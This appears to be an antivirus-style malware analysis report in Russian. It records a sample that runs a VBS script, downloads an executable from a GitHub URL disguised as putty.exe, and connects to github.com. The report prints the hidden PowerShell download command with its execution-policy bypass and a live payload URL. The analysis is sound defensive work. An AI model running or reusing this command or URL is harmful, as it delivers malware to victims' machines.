Техническая информация
Вредоносные функции
Создает и запускает на исполнение (эксплоит)
- '<SYSTEM32>\wscript.exe' "<Текущая директория>\putty.vbs"
Загружает и запускает на исполнение
- https://github.com/karhmih/1/raw/main/nbhbolmkntbarpiygdsuueaxolhcaklk.exe как %temp%\putty.exe
Изменения в файловой системе
Создает следующие файлы
- <Текущая директория>\putty.vbs
Удаляет следующие файлы
- <Текущая директория>\putty.vbs
Сетевая активность
Подключается к
- 'gi##ub.com':443
TCP
Другие
- 'gi##ub.com':443
UDP
- DNS ASK gi##ub.com
Другое
Запускает на исполнение
- '<SYSTEM32>\cmd.exe' /c Powershell.exe -ExecutionPolicy bypass -noprofile -WindowStyle Hidden (New-Object System.Net.WebClient).DownloadFile('https://github.com/karhmih/1/raw/main/NBHBolmknTBArpIyGdSUueAxOLhCaKlK.e...
